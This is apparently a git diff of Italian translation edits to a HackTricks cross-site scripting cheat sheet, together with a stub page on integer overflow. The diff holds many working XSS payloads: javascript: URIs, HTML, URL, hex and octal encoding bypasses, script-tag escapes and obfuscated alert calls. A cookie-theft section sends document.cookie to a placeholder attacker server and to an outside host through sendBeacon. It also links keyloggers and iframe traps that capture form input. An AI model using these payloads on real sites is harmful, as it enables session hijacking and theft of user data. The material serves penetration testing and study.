Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
|
||||
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
|
||||
Nota che **qualsiasi tipo di codifica HTML è valida**:
|
||||
```javascript
|
||||
|
@ -294,7 +298,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
|
|||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Si noti che la codifica URL funzionerà anche:**
|
||||
**Si noti che anche l'URL encoding funzionerà:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
|
@ -362,9 +366,9 @@ Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input a
|
|||
```
|
||||
Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**.
|
||||
|
||||
**Utilizzo di codifica esadecimale e ottale con `javascript:`**
|
||||
**Utilizzando l'encode esadecimale e ottale con `javascript:`**
|
||||
|
||||
Puoi utilizzare la codifica **esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
|
||||
Puoi utilizzare l'**encode esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -376,7 +380,7 @@ Puoi utilizzare la codifica **esadecimale** e **ottale** all'interno dell'attrib
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Furto di schede invertito
|
||||
### Reverse tab nabbing
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
@ -425,9 +429,9 @@ Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): È po
|
|||
```
|
||||
**Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Bypass della blacklist
|
||||
### Blacklist Bypasses
|
||||
|
||||
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
||||
Sono già state esposte diverse tecniche che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
||||
|
||||
* **Codifica HTML (tag HTML)**
|
||||
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
|
||||
|
@ -441,11 +445,11 @@ Leggi i [Bypass della blacklist della sezione precedente](./#blacklist-bypasses)
|
|||
|
||||
**Bypass per codice JavaScript**
|
||||
|
||||
Leggi i [Bypass della blacklist di JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
|
||||
Leggi i [Bypass della blacklist JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
|
||||
Se trovi un **XSS in una parte molto piccola** del web che richiede un tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
|
||||
|
||||
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -467,9 +471,9 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
|
|||
|
||||
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
|
||||
### Escape del tag \<script>
|
||||
### Escaping del tag \<script>
|
||||
|
||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
|
||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -483,12 +487,12 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
|||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Template letterali \`\`
|
||||
### Stringhe di modello \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche gli **accenti gravi** **` `` `**. Questo è noto come template letterali poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza gli accenti gravi, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è noto come stringhe di modello poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
Ciò può essere **abusato** utilizzando:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -558,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)**
|
||||
**Nuove righe JavaScript (dalla** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -566,7 +570,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
|||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||
```
|
||||
**Spazi vuoti JavaScript**
|
||||
**Spazi vuoti di JavaScript**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
@ -730,7 +734,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vulnerabilità del DOM**
|
||||
|
||||
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
|
||||
C'è del **codice JS** che utilizza **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
@ -761,9 +765,9 @@ La coppia "Chiave","Valore" verrà ripetuta così:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
### Combinazioni speciali
|
||||
Quindi, l'attributo onfocus verrà inserito e si verificherà XSS.
|
||||
|
||||
Successivamente, l'attributo onfocus verrà inserito e si verificherà XSS.
|
||||
### Combinazioni speciali
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -795,7 +799,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS con iniezione di header in una risposta 302
|
||||
|
||||
Se scopri che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
|
||||
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
|
||||
|
||||
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
||||
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
|
||||
|
@ -913,9 +917,9 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
|
|||
```
|
||||
### Modelli di Sostituzione Speciali
|
||||
|
||||
Quando viene utilizzato qualcosa del tipo **`"alcuni {{template}} dati".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**. L'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
Ad esempio in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Cache di Chrome per XSS
|
||||
|
||||
|
@ -956,7 +960,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile arbitrario:
|
||||
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile:
|
||||
|
||||
* Utilizzando import()
|
||||
```javascript
|
||||
|
@ -1018,7 +1022,7 @@ trigger()
|
|||
```
|
||||
### Offuscamento e Bypass Avanzato
|
||||
|
||||
* **Diversi tipi di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Diverse tecniche di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1059,6 +1063,14 @@ trigger()
|
|||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trappola Iframe
|
||||
|
||||
Fai in modo che l'utente navighi nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Recupero dei Cookie
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1082,7 +1094,7 @@ trigger()
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Non sarai in grado di accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
|
||||
Non sarà possibile accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
|
||||
{% endhint %}
|
||||
|
||||
### Rubare il contenuto della pagina
|
||||
|
@ -1186,7 +1198,7 @@ Quando vengono inseriti dati nel campo password, lo username e la password vengo
|
|||
|
||||
### Keylogger
|
||||
|
||||
Basta cercare su github ne ho trovati alcuni diversi:
|
||||
Semplicemente cercando su github ne ho trovati alcuni diversi:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1317,7 +1329,7 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje
|
|||
### XSS in PDF creati dinamicamente
|
||||
|
||||
Se una pagina web crea un PDF utilizzando input controllati dall'utente, puoi provare a **ingannare il bot** che sta creando il PDF per **eseguire codice JS arbitrario**.\
|
||||
Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
|
||||
Quindi, se il **bot creatore di PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1411,22 +1423,22 @@ Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](h
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Integer Overflow
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Check:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue